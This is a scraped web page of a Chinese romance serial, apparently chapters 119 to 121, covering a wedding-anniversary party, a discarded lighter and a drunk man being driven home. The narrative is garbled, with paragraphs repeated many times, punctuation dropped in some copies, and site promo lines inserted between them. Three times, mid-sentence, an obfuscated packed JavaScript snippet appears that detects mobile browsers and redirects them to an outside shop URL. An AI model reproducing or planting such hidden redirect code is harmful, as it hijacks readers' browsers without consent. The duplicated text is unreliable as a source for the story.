一个又一个问号,像冰冷的泡沫,在她脑海里翻腾、破碎,带来一阵阵尖锐的刺痛。 “青柠……”温昭宁想像青柠打听一下贺淮钦和白方瑶的关系,可是又不知道该怎么开口。 青柠是个小机灵鬼,她看温昭宁欲言又止,立刻猜到了妈妈想问什么。 “妈妈,你是不是想问那个白阿姨和爸爸的关系?” 温昭宁有点不好意思地笑了笑:“这你都能猜到?” “那当然了,我和妈妈心有灵犀。” “那你觉得,那个白阿姨和你爸爸是什么关系呢?” “据我观察,这个白阿姨她喜欢爸爸,她想做爸爸的新老婆。”青柠说得一本正经。 “是吗?那你告诉妈妈,你都观察到了什么?” “今天,那个白阿姨给她的爸爸妈妈打视频电话,她特地把爸爸拉过去,让爸爸和她的爸爸妈妈打招呼,还说爸爸是她的男朋友。” 温昭宁的心一沉。 这么说来,他们真的在交往,而且已经到了可以介绍给彼此家人的程度了。 “还有,中午吃饭的时候,白阿姨还问我,介不介意多一个妈妈。”青柠小眉头皱得紧紧的,“我才不要多一个妈妈呢,我就只有一个生我的妈妈!在我心里,绝对不会有任何人可以和妈妈平起平坐!” 温昭宁对贺淮钦已经有了新女友这件事情感到难过和失落,但听到女儿坚定地站在自己这边,又倍感欣慰。 至少,她还有个贴心小棉袄。—— 温昭宁把青柠接回家后,带着她周边玩了两天。 初七,温昭宁接到了苏云溪的电话。 “宁宁,你明天有没有空?” “有空,怎么了?” “我和霍郁州结婚一周年,你过来 参加我们的庆祝派对吧。”苏云溪说这句话的时候,带着明显的羞耻感。 也不知道她是羞耻她和霍郁州的婚姻竟然维持了一整年,还是羞耻他们竟然会办庆祝结婚一周年的庆祝派对。 温昭宁还没说话,苏云溪就又颇为烦躁地补了一句:“是霍郁州非要办的,我自己都觉得很离谱,圈子里谁不知道,我们结婚一周年,也是我们认识一周年,两个没有感情的人结婚就算了,还庆祝结婚一周年,也不怕被人笑掉大牙。” 苏云溪和霍郁州的确是闪婚,两人年初七被家人安排见面,年初八就去领了结婚证,这速度,堪比坐了火箭。 温昭宁也一度担心苏云溪婚后会过得不幸福,可现在看来,苏云溪也算是误打误撞,嫁得良人了。 “霍郁州想要和你庆祝结婚一周年纪念日,这就说明他不止想和你只有一年,而是希望先开个好头,之后年年都有这样的仪式感。” “谁知道他抽什么疯啊。”苏云溪嘴上吐槽得狠,可语气里却不自觉地藏了一丝甜蜜,“这人难搞得很,而且又霸道,他说要办,那我只能配合他去人前装恩爱,真的,我想到明天会发生什么,我已经尴尬的脚趾扣出三室一厅了,所以,作为姐妹,你明天一定要来陪我。” “好,我会来的,正好我妈和我舅舅他们明天要带青柠去爬山。” “那太好了!”苏云溪说着,又想起什么,“哦,对了,明天贺淮钦也会来。” 温昭宁猜到了,贺淮钦和霍郁州关系不错,霍郁州结婚一周年,他怎么可能不来? 只是一想到他有了新女朋友,温昭宁就不想去面对他。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 参加我们的庆祝派对吧。苏云溪说这句话的时候,带着明显的羞耻感。 也不知道她是羞耻她和霍郁州的婚姻竟然维持了一整年,还是羞耻他们竟然会办庆祝结婚一周年的庆祝派对。 温昭宁还没说话,苏云溪就又颇为烦躁地补了一句:“是霍郁州非要办的,我自己都觉得很离谱,圈子里谁不知道,我们结婚一周年,也是我们认识一周年,两个没有感情的人结婚就算了,还庆祝结婚一周年,也不怕被人笑掉大牙。 苏云溪和霍郁州的确是闪婚,两人年初七被家人安排见面,年初八就去领了结婚证,这速度,堪比坐了火箭。 温昭宁也一度担心苏云溪婚后会过得不幸福,可现在看来,苏云溪也算是误打误撞,嫁得良人了。 “霍郁州想要和你庆祝结婚一周年纪念日,这就说明他不止想和你只有一年,而是希望先开个好头,之后年年都有这样的仪式感。 “谁知道他抽什么疯啊。苏云溪嘴上吐槽得狠,可语气里却不自觉地藏了一丝甜蜜,“这人难搞得很,而且又霸道,他说要办,那我只能配合他去人前装恩爱,真的,我想到明天会发生什么,我已经尴尬的脚趾扣出三室一厅了,所以,作为姐妹,你明天一定要来陪我。 “好,我会来的,正好我妈和我舅舅他们明天要带青柠去爬山。 “那太好了!苏云溪说着,又想起什么,“哦,对了,明天贺淮钦也会来。 温昭宁猜到了,贺淮钦和霍郁州关系不错,霍郁州结婚一周年,他怎么可能不来? 只是一想到他有了新女朋友,温昭宁就不想去面对他。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 参加我们的庆祝派对吧。苏云溪说这句话的时候,带着明显的羞耻感。 也不知道她是羞耻她和霍郁州的婚姻竟然维持了一整年,还是羞耻他们竟然会办庆祝结婚一周年的庆祝派对。 温昭宁还没说话,苏云溪就又颇为烦躁地补了一句:“是霍郁州非要办的,我自己都觉得很离谱,圈子里谁不知道,我们结婚一周年,也是我们认识一周年,两个没有感情的人结婚就算了,还庆祝结婚一周年,也不怕被人笑掉大牙。 苏云溪和霍郁州的确是闪婚,两人年初七被家人安排见面,年初八就去领了结婚证,这速度,堪比坐了火箭。 温昭宁也一度担心苏云溪婚后会过得不幸福,可现在看来,苏云溪也算是误打误撞,嫁得良人了。 “霍郁州想要和你庆祝结婚一周年纪念日,这就说明他不止想和你只有一年,而是希望先开个好头,之后年年都有这样的仪式感。 “谁知道他抽什么疯啊。苏云溪嘴上吐槽得狠,可语气里却不自觉地藏了一丝甜蜜,“这人难搞得很,而且又霸道,他说要办,那我只能配合他去人前装恩爱,真的,我想到明天会发生什么,我已经尴尬的脚趾扣出三室一厅了,所以,作为姐妹,你明天一定要来陪我。 “好,我会来的,正好我妈和我舅舅他们明天要带青柠去爬山。 “那太好了!苏云溪说着,又想起什么,“哦,对了,明天贺淮钦也会来。 温昭宁猜到了,贺淮钦和霍郁州关系不错,霍郁州结婚一周年,他怎么可能不来? 只是一想到他有了新女朋友,温昭宁就不想去面对他。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 参加我们的庆祝派对吧。”苏云溪说这句话的时候带着明显的羞耻感。 也不知道她是羞耻她和霍郁州的婚姻竟然维持了一整年还是羞耻他们竟然会办庆祝结婚一周年的庆祝派对。 温昭宁还没说话苏云溪就又颇为烦躁地补了一句:“是霍郁州非要办的我自己都觉得很离谱圈子里谁不知道我们结婚一周年也是我们认识一周年两个没有感情的人结婚就算了还庆祝结婚一周年也不怕被人笑掉大牙。” 苏云溪和霍郁州的确是闪婚两人年初七被家人安排见面年初八就去领了结婚证这速度堪比坐了火箭。 温昭宁也一度担心苏云溪婚后会过得不幸福可现在看来苏云溪也算是误打误撞 “霍郁州想要和你庆祝结婚一周年纪念日这就说明他不止想和你只有一年而是希望先开个好头之后年年都有这样的仪式感。” “谁知道他抽什么疯啊。”苏云溪嘴上吐槽得狠可语气里却不自觉地藏了一丝甜蜜“这人难搞得很而且又霸道他说要办那我只能配合他去人前装恩爱真的我想到明天会发生什么我已经尴尬的脚趾扣出三室一厅了所以作为姐妹你明天一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148937|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要来陪我。” “好我会来的正好我妈和我舅舅他们明天要带青柠去爬山。” “那太好了!”苏云溪说着又想起什么“哦对了明天贺淮钦也会来。” 温昭宁猜到了贺淮钦和霍郁州关系不错霍郁州结婚一周年他怎么可能不来? 只是一想到他有了新女朋友温昭宁就不想去面对他。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 参加我们的庆祝派对吧。”苏云溪说这句话的时候带着明显的羞耻感。 也不知道她是羞耻她和霍郁州的婚姻竟然维持了一整年还是羞耻他们竟然会办庆祝结婚一周年的庆祝派对。 温昭宁还没说话苏云溪就又颇为烦躁地补了一句:“是霍郁州非要办的我自己都觉得很离谱圈子里谁不知道 苏云溪和霍郁州的确是闪婚两人年初七被家人安排见面年初八就去领了结婚证这速度堪比坐了火箭。 温昭宁也一度担心苏云溪婚后会过得不幸福可现在看来苏云溪也算是误打误撞嫁得良人了。 “霍郁州想要和你庆祝结婚一周年纪念日这就说明他不止想和你只有一年而是希望先开个好头之后年年都有这样的仪式感。” “谁知道他抽什么疯啊。”苏云溪嘴上吐槽得狠可语气里却不自觉地藏了一丝甜蜜“这人难搞得很而且又霸道他说要办那我只能配合他去人前装恩爱真的我想到明天会发生什么我已经尴尬的脚趾扣出三室一厅了所以作为姐妹你明天一定要来陪我。” “好我会来的正好我妈和我舅舅他们明天要带青柠去爬山。” “那太好了!”苏云溪说着又想起什么“哦对了明天贺淮钦也会来。” 温昭宁猜到了贺淮钦和霍郁州关系不错霍郁州结婚一周年他怎么可能不来? 只是一想到他有了新女朋友温昭宁就不想去面对他。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 参加我们的庆祝派对吧。”苏云溪说这句话的时候,带着明显的羞耻感。 也不知道她是羞耻她和霍郁州的婚姻竟然维持了一整年,还是羞耻他们竟然会办庆祝结婚一周年的庆祝派对。 温昭宁还没说话,苏云溪就又颇为烦躁地补了一句:“是霍郁州非要办的,我自己都觉得很离谱,圈子里谁不知道,我们结婚一周年,也是我们认识一周年,两个没有感情的人结婚就算了,还庆祝结婚一周年,也不怕被人笑掉大牙。” 苏云溪和霍郁州的确是闪婚,两人年初七被家人安排见面,年初八就去领了结婚证,这速度,堪比坐了火箭。 温昭宁也一度担心苏云溪婚后会过得不幸福,可现在看来,苏云溪也算是误打误撞,嫁得良人了。 “霍郁州想要和你庆祝结婚一周年纪念日,这就说明他不止想和你只有一年,而是希望先开个好头,之后年年都有这样的仪式感。” “谁知道他抽什么疯啊。”苏云溪嘴上吐槽得狠,可语气里却不自觉地藏了一丝甜蜜,“这人难搞得很,而且又霸道,他说要办,那我只能配合他去人前装恩爱,真的,我想到明天会发生什么,我已经尴尬的脚趾扣出三室一厅了,所以,作为姐妹,你明天一定要来陪我。” “好,我会来的,正好我妈和我舅舅他们明天要带青柠去爬山。” “那太好了!”苏云溪说着,又想起什么,“哦,对了,明天贺淮钦也会来。” 温昭宁猜到了,贺淮钦和霍郁州关系不错,霍郁州结婚一周年,他怎么可能不来? 只是一想到他有了新女朋友,温昭宁就不想去面对他。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 参加我们的庆祝派对吧。苏云溪说这句话的时候,带着明显的羞耻感。 也不知道她是羞耻她和霍郁州的婚姻竟然维持了一整年,还是羞耻他们竟然会办庆祝结婚一周年的庆祝派对。 温昭宁还没说话,苏云溪就又颇为烦躁地补了一句:“是霍郁州非要办的,我自己都觉得很离谱,圈子里谁不知道,我们结婚一周年,也是我们认识一周年,两个没有感情的人结婚就算了,还庆祝结婚一周年,也不怕被人笑掉大牙。 苏云溪和霍郁州的确是闪婚,两人年初七被家人安排见面,年初八就去领了结婚证,这速度,堪比坐了火箭。 温昭宁也一度担心苏云溪婚后会过得不幸福,可现在看来,苏云溪也算是误打误撞,嫁得良人了。 “霍郁州想要和你庆祝结婚一周年纪念日,这就说明他不止想和你只有一年,而是希望先开个好头,之后年年都有这样的仪式感。 “谁知道他抽什么疯啊。苏云溪嘴上吐槽得狠,可语气里却不自觉地藏了一丝甜蜜,“这人难搞得很,而且又霸道,他说要办,那我只能配合他去人前装恩爱,真的,我想到明天会发生什么,我已经尴尬的脚趾扣出三室一厅了,所以,作为姐妹,你明天一定要来陪我。 “好,我会来的,正好我妈和我舅舅他们明天要带青柠去爬山。 “那太好了!苏云溪说着,又想起什么,“哦,对了,明天贺淮钦也会来。 温昭宁猜到了,贺淮钦和霍郁州关系不错,霍郁州结婚一周年,他怎么可能不来? 只是一想到他有了新女朋友,温昭宁就不想去面对他。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第120章 打火机 苏云溪和霍郁州结婚一周年的庆祝派对办在沪城近郊的一处私家庄园,那是霍郁州名下的庄园。 庄园占地广阔,精心打理过的草坪在冬日依旧保持着青翠。 派对就在庄园前临湖的草坪上举行,宾客不多,正如苏云溪所说,他们只请了她和霍郁州最亲近的几位朋友,加起来都没有十个人。 温昭宁把车子停在外面的停车场,步行走进庄园。 草坪上,几张铺着洁白桌布的长桌,上面摆放着精致的茶点、香槟塔、怒放的白玫瑰和尤加利叶插花,阳光下,湖面波光粼粼。 苏云溪一眼就看到了她。 “宁宁!”苏云溪飞扑过来,给了她一个大大的拥抱,“你可算来了,我等你很久了。” “祝你结婚一周年快乐!”温昭宁把礼物递给苏云溪,“你通知得太晚了,今天临时去买的,希望你喜欢。” 温昭宁送给苏云溪的是一款香水,这个牌子是苏云溪惯用的,她挑了最新出的一款鎏金香橙,前调揉了意大利苦橙、佛手柑和柠檬的鲜活,闻上的第一秒就给人很清新活力满满的感觉,和苏云溪维他命一样的个性很像。 “喜欢喜欢,你送什么我都喜欢。”苏云溪挽住温昭宁的手,“走吧,先进去吃点东西。” 苏云溪拉着温昭宁往茶点区走,还未走近,她已经看到了贺淮钦。 贺淮钦穿一身剪裁精良的黑色西装,正在和霍郁州他们聊天,听到脚步声,他的目光平静地扫过来,视线在温昭宁身上停留了一秒都不到,转瞬就移开了。 “来来来,女主角,快过来!”邵一屿他们扬手招呼苏云溪过去。 “怎么了?”苏云溪拉着温昭宁,脚步拐了个弯就朝他们一行人走过去,“叫**什么?” “我们刚刚采访了一下郁州,他说结婚的感觉很不错,我们再采访一下你,你觉得结婚的感觉怎么样?” 苏云溪知道邵一屿他们是有意逗她的,她看了霍郁州一眼,勉勉强强地说:“结婚的感觉……就还行吧。” 大家都笑起来。 邵一屿拍了拍霍郁州的肩膀:“兄弟,看来你老婆对你还不太满意,你还得再加把劲儿啊。” 霍郁州摇晃着香槟杯,似笑非笑地盯着苏云溪看。 苏云溪被他看得心虚,拉上温昭宁又赶紧走开了。 邵一屿看了眼那两道纤细的背影,又凑到贺淮钦面前:“兄弟,你最近怎么样? 贺淮钦将杯中的香槟一饮而尽,冷声道:“不怎么样。 邵一屿:“你是不是又自己作**? 贺淮钦:“……—— 派对人少,大家又都比较熟,现场欢声笑语不断。 苏云溪全程都很照顾温昭宁,温昭宁也感受到了久违的放松。 傍晚天快黑的时候,青柠打电话来了。 温昭宁转身,朝草坪边缘那处花架走去。 今天现场装饰的鲜花,都是霍郁州从国外空运回来的,原本萧条的冬日,愣是被他布置出了春天的感觉。 花架这里,远离派对中心,只有微风吹过枝叶的细微沙沙声和远处隐约传来的谈笑声。 “喂,青柠。 “妈妈,我们已经爬完山回家啦,你什么时候回来? “还要稍微等一会儿哦,今天你和外婆早点睡觉,妈妈回来给你带小蛋糕。 “好耶,能吃小蛋糕咯。 “今天爬山开不开心? “超级开心的,我和外婆舅舅他们一起捡了好多松果,正好可以做幼儿园的手工作业。 青柠又开始滔滔不绝地说起她手工作业的创意,温昭宁耐心地听她说完才挂了电话。 和青柠通完电话,温昭宁穿过花架,正要从另一侧绕出去,忽然听到迎宾的大屏风后面,传来了霍郁州的声音。 “和我结婚的感觉就还行?他似有些不悦,“不行的部分说出来,我来补。 “我就这么随口一说,你较什么真?是苏云溪的声音,“你把我拉过来,就为了问这个? “这个很重要。 “晚点再说吧,大家都还在呢…… 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153004|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云溪话还没说完,已经被霍郁州吻住了。 一阵推搡纠缠的动静后,苏云溪就不挣扎了,屏风深处,两具身影紧紧地依偎在一起,吻得不知天地为何物。 温昭宁万万没想到能在这里撞见苏云溪和霍郁州接吻,她红着脸,又原路从花架的另一头折回去。 她退得太急,又心神不宁,刚 走到路口处,就和一个人迎面撞上。 是贺淮钦。 贺淮钦手里拿着一支烟,应该是来这里抽烟的。 两人相互望了一眼,贺淮钦就冷冰冰地和她擦肩,想要继续往里走。 温昭宁赶紧叫住他:“你别过去! “为什么? “呃…… 温昭宁还没想好措辞,贺淮钦已经一副“我凭什么要听你的表情,直接走进了花架里。 半分钟后,他也退了出来。 温昭宁站在出口等他,见他微蹙着眉,神色尴尬,忍不住开口说:“我都让你别进去了。 贺淮钦不语,侧身从她面前经过,又迈步要走。 温昭宁能感觉到,贺淮钦对她格外的冷淡,是那种话都不愿和她多说一句的冷淡。 是因为他新交了女朋友,所以要和所有女人都划清界限吗? 温昭宁心里泛起一丝酸涩。 “贺先生,等一下。她追上去。 贺淮钦停下脚步,看着她。 “上次民宿团建,你的打火机落在民宿里了。温昭宁从自己随身携带的包里拿出那只打火机,“喏,还给你。 她知道今天会遇到他,所以特地把这只打火机带了过来。 贺淮钦一看到这只打火机,就想到那晚。 那晚,国外那边忽然有急事需要他连夜赶过去处理,他原本打算出发之前去找温昭宁和她说一声,结果,刚走到民宿大厅,就看到厨房里,她和那个段允谦密密实实地抱在一起。 昏黄的灯火下,两个人紧贴的身影暧昧到他不敢看第二眼。 他落荒而逃,不小心丢下了这只打火机。 第121章 强买强卖 此刻这只失而复得的打火机就静静地躺在温昭宁的掌心那银白的光和他记忆中那晚的月光一样清冷。 它无声地提醒着他那晚发生的一切。 温昭宁见他迟迟不接又补一句:“我看这只打火机质感很好应该挺贵……” 贺淮钦没等她说完利落地从她手上拿过那只打火机然后手臂一扬猛地掷了出去。 打火机在空中划出一道短暂的银光“咣当”一声脆响不偏不倚精准地落入了几步之外一个半人高的铁艺垃圾桶中。 “不要了。” 他说完转身就走。 温昭宁站在原地难以置信地看看贺淮钦的背影又看看那个垃圾桶觉得这个人实在是莫名其妙得很。 这么贵的东西说丢就丢! 而他不要的又何止一个打火机? 温昭宁心头酸涩调整了许久才调整好心情重新回到派对中心。 苏云溪和霍郁州还没回来其他人正三三两两地聊着天。 温昭宁坐到一旁挑了两个小甜品打算打包回去给青柠。 “淮钦你抽什么疯?” 吧台边邵一屿的声音传来。 温昭宁循声看过去看到贺淮钦正独自一人坐在高脚凳上喝酒他面前的吧台上已经空了两个威士忌酒瓶而他现在正在开第三瓶。 他喝酒的速度很快不是品酌更像是一种近乎发泄的灌注。 “怎么了这是?去抽根烟还抽出情绪来了?”邵一屿不解地望着他“哪根烟惹你了?” “烟没惹我打火机惹我了。”贺淮钦喃喃。 邵一屿愣了愣打火机惹他了? 这合理吗? 不合理。 他一定是喝醉了。 “好了好了别喝了。” 邵一屿想去抢他的酒杯 他仰头又灌了一大口酒辛辣的酒液灼烧着他的喉咙和食道却浇不灭他胸腔里那团越烧越旺的火。 “到底怎么了哥们?刚刚还好好的呢你受什么刺激了?”邵一屿见他状态不对有点担心起来。 “没事。”贺淮钦将酒瓶重重地顿在吧台上脚步虚浮地站起来 ,“我走了,帮我和郁州说一声。” 他摇摇晃晃地往前走,整个人像是踩在棉花上。 “你这样走走去哪儿?见阎王啊?”邵一屿赶紧上前一步,手臂架住了他一侧的胳膊,扶稳了他摇摇欲坠的身体。 贺淮钦想挣脱,但酒意涌上来,四肢根本不听使唤,他含糊地低哼了一声,身体的大半重量都倚在了邵一屿的身上。 邵一屿一个人架着明显失去平衡的贺淮钦,有些吃力。 他的目光环顾一圈后,落在了温昭宁的身上。 “温小姐,麻烦过来搭把手。”邵一屿朝温昭宁求助,“他有点重,我一个人搞不定他!” 扶他? 凭什么? 他刚刚当着她的面,那么凶狠地把那个打火机丢了,好像给她甩脸子,她为什么还要去扶他? 而且,温昭宁不明白,现场那么多人,邵一屿为什么偏偏喊她。 她想拒绝,但邵一屿又喊了过来:“漂亮美丽的温小姐,你人美心善,帮帮我吧,我快被这个人压折了。” 这…… 温昭宁想到,邵一屿当初还给青柠看过病,无论如何,她欠他一个人情。 她不是去扶贺淮钦,而是去帮邵一屿的忙,这样一想,她的心里顿时通达了许多。 温昭宁走到另一侧,伸出手,小心翼翼地扶住了贺淮钦垂在身侧的另一条手臂。 他的手臂肌肉结实,即使在这种醉态下,也能感觉到衣料下紧绷的力量感。 贺淮钦似乎感觉到了另一侧的支撑,身体下意识地朝她这边偏了偏,脑袋也微微地转向了她的方向,沉重的呼吸带着灼热的酒气,拂过她的耳廓和颈侧。 温昭宁全身的汗**都竖了起来。 她想起贺淮钦之前和舅舅喝酒,喝完后也是这样靠在她的身上让她扶着回民宿,可那一次,他是装醉,而这一次,他是真的醉了。 两人架着贺淮钦走到庄园的门口。 邵一屿忽然问:“温小姐,你开车了吗?” 温昭宁完全没有戒备心,如实回答:“开了。” “车在哪儿呢?” “就在门口的停车场,那辆白色的甲壳虫。” 邵一屿笑了笑:“我没开车,先把他扶到你的车 上吧。” “你没开车你怎么来的?” “我坐淮钦的车来的。” “那你可以开他的车把他送回去。” “我喝酒了喝酒不开车开车不喝酒。”邵一屿看着她“你没喝酒对吧?” “我是没喝酒……” “妥了既然你没喝酒淮钦就拜托你了。” 温昭宁无语。 她好心帮忙这人怎么还强买强卖呢? “邵医生他太重了现在我们一起把他扶上车勉强可以如果是我送等下我一个人该怎么把他弄下车呢?” “淮钦这人喝酒醉意来得急去得也快他路上睡一会儿到家也该醒了要是不醒你给扇两巴掌扇醒了让他自己下来就行。” “可是……” “麻烦你了温小姐。”邵一屿拉开了温昭宁的车门 “喂……” 邵一屿直接一溜烟小跑起来。 温昭宁觉得自己这是被下套了但没办法人已经在她车上了她不送也得送。 她上了车。 甲壳虫本来就小贺淮钦身高腿长整个人像是无处安放了一般占满了她整个副驾驶座。 温昭宁俯过身去替他扣上安全带。 他睡得很沉睡梦中也紧皱着眉。 温昭宁不明白他新交了女朋友正在蜜恋期还有什么可不开心的需要他睡着了都露出这一副愁容。 她发动了车子握紧方向盘目视前方慢慢地往前开去。 等第一个红绿灯的时候副驾驶座上的贺淮钦忽然发出了一声梦呓。 “温昭宁……” 夜风似乎静了一瞬。 温昭宁心头跳了跳怎么回事他睡着了喊的竟然是她的名字? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 上吧。” “你没开车你怎么来的?” “我坐淮钦的车来的。” “那你可以开他的车把他送回去。” “我喝酒了喝酒不开车开车不喝酒。”邵一屿看着她“你没喝酒对吧?” “我是没喝酒……” “妥了既然你没喝酒淮钦就拜托你了。” 温昭宁无语。 她好心帮忙这人怎么还强买强卖呢? “邵医生他太重了现在我们一起把他扶上车勉强可以如果是我送等下我一个人该怎么把他弄下车呢?” “淮钦这人喝酒醉意来得急去得也快他路上睡一会儿到家也该醒了要是不醒你给扇两巴掌扇醒了让他自己下来就行。” “可是……” “麻烦你了温小姐。”邵一屿拉开了温昭宁的车门将贺淮钦往车里一塞掉头就走“再见温小姐改天我请你吃饭。” “喂……” 邵一屿直接一溜烟小跑起来。 温昭宁觉得自己这是被下套了但没办法人已经在她车上了 她上了车。 甲壳虫本来就小贺淮钦身高腿长整个人像是无处安放了一般占满了她整个副驾驶座。 温昭宁俯过身去替他扣上安全带。 他睡得很沉睡梦中也紧皱着眉。 温昭宁不明白他新交了女朋友正在蜜恋期还有什么可不开心的需要他睡着了都露出这一副愁容。 她发动了车子握紧方向盘目视前方慢慢地往前开去。 等第一个红绿灯的时候副驾驶座上的贺淮钦忽然发出了一声梦呓。 “温昭宁……” 夜风似乎静了一瞬。 温昭宁心头跳了跳怎么回事他睡着了喊的竟然是她的名字? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 上吧。” “你没开车你怎么来的?” “我坐淮钦的车来的。” “那你可以开他的车把他送回去。” “我喝酒了喝酒不开车开车不喝酒。”邵一屿看着她“你没喝酒对吧?” “我是没喝酒……” “妥了既然你没喝酒淮钦就拜托你了。” 温昭宁无语。 她好心帮忙这人怎么还强买强卖呢? “邵医生他太重了现在我们一起把他扶上车勉强可以如果是我送等下我一个人该怎么把他弄下车呢?” “淮钦这人喝酒醉意来得急去得也快他路上睡一会儿到家也该醒了要是不醒你给扇两巴掌扇醒了让他自己下来就行。” “可是……” “麻烦你了温小姐。”邵一屿拉开了温昭宁的车门将贺淮钦往车里一塞掉头就走“再见温小姐改天我请你吃饭。” “喂……” 邵一屿直接一溜烟小跑起来。 温昭宁觉得自己这是被下套了但没办法人已经在她车上了她不送也得送。 她上了车。 甲壳虫本来就小贺淮钦身高腿长整个人像是无处安放了一般占满了她整个副驾驶座。 温昭宁俯过身去替他扣上安全带。 他睡得很沉睡梦中也紧皱着眉。 温昭宁不明白他新交了女朋友正在蜜恋期还有什么可不开心的需要他睡着了都露出这一副愁容。 她发动了车子握紧方向盘 等第一个红绿灯的时候副驾驶座上的贺淮钦忽然发出了一声梦呓。 “温昭宁……” 夜风似乎静了一瞬。 温昭宁心头跳了跳怎么回事他睡着了喊的竟然是她的名字? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 上吧。” “你没开车你怎么来的?” “我坐淮钦的车来的。” “那你可以开他的车把他送回去。” “我喝酒了喝酒不开车开车不喝酒。”邵一屿看着她“你没喝酒对吧?” “我是没喝酒……” “妥了既然你没喝酒淮钦就拜托你了。” 温昭宁无语。 她好心帮忙这人怎么还强买强卖呢? “邵医生他太重了现在我们一起把他扶上车勉强可以如果是我送 “淮钦这人喝酒醉意来得急去得也快他路上睡一会儿到家也该醒了要是不醒你给扇两巴掌扇醒了让他自己下来就行。” “可是……” “麻烦你了温小姐。”邵一屿拉开了温昭宁的车门将贺淮钦往车里一塞掉头就走“再见温小姐改天我请你吃饭。” “喂……” 邵一屿直接一溜烟小跑起来。 温昭宁觉得自己这是被下套了但没办法人已经在她车上了她不送也得送。 她上了车。 甲壳虫本来就小贺淮钦身高腿长整个人像是无处安放了一般占满了她整个副驾驶座。 温昭宁俯过身去替他扣上安全带。 他睡得很沉睡梦中也紧皱着眉。 温昭宁不明白他新交了女朋友正在蜜恋期还有什么可不开心的需要他睡着了都露出这一副愁容。 她发动了车子握紧方向盘目视前方慢慢地往前开去。 等第一个红绿灯的时候副驾驶座上的贺淮钦忽然发出了一声梦呓。 “温昭宁……” 夜风似乎静了一瞬。 温昭宁心头跳了跳怎么回事他睡着了喊的竟然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153005|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的名字? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 上吧。” “你没开车你怎么来的?” “我坐淮钦的车来的。” “那你可以开他的车把他送回去。” “我喝酒了,喝酒不开车,开车不喝酒。”邵一屿看着她,“你没喝酒,对吧?” “我是没喝酒……” “妥了,既然你没喝酒,淮钦就拜托你了。” 温昭宁无语。 她好心帮忙,这人怎么还强买强卖呢? “邵医生,他太重了,现在我们一起把他扶上车勉强可以,如果是我送,等下我一个人该怎么把他弄下车呢?” “淮钦这人喝酒,醉意来得急去得也快,他路上睡一会儿,到家也该醒了,要是不醒,你给扇两巴掌,扇醒了让他自己下来就行。” “可是……” “麻烦你了温小姐。”邵一屿拉开了温昭宁的车门,将贺淮钦往车里一塞,掉头就走,“再见温小姐,改天我请你吃饭。” “喂……” 邵一屿直接一溜烟小跑起来。 温昭宁觉得自己这是被下套了,但没办法,人已经在她车上了,她不送也得送。 她上了车。 甲壳虫本来就小,贺淮钦身高腿长,整个人像是无处安放了一般,占满了她整个副驾驶座。 温昭宁俯过身去,替他扣上安全带。 他睡得很沉,睡梦中也紧皱着眉。 温昭宁不明白,他新交了女朋友,正在蜜恋期,还有什么可不开心的,需要他睡着了都露出这一副愁容。 她发动了车子,握紧方向盘,目视前方,慢慢地往前开去。 等第一个红绿灯的时候,副驾驶座上的贺淮钦忽然发出了一声梦呓。 “温昭宁……” 夜风似乎静了一瞬。 温昭宁心头跳了跳,怎么回事,他睡着了喊的竟然是她的名字? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 上吧。 “你没开车你怎么来的? “我坐淮钦的车来的。 “那你可以开他的车把他送回去。 “我喝酒了,喝酒不开车,开车不喝酒。邵一屿看着她,“你没喝酒,对吧? “我是没喝酒…… “妥了,既然你没喝酒,淮钦就拜托你了。 温昭宁无语。 她好心帮忙,这人怎么还强买强卖呢? “邵医生,他太重了,现在我们一起把他扶上车勉强可以,如果是我送,等下我一个人该怎么把他弄下车呢? “淮钦这人喝酒,醉意来得急去得也快,他路上睡一会儿,到家也该醒了,要是不醒,你给扇两巴掌,扇醒了让他自己下来就行。 “可是…… “麻烦你了温小姐。邵一屿拉开了温昭宁的车门,将贺淮钦往车里一塞,掉头就走,“再见温小姐,改天我请你吃饭。 “喂…… 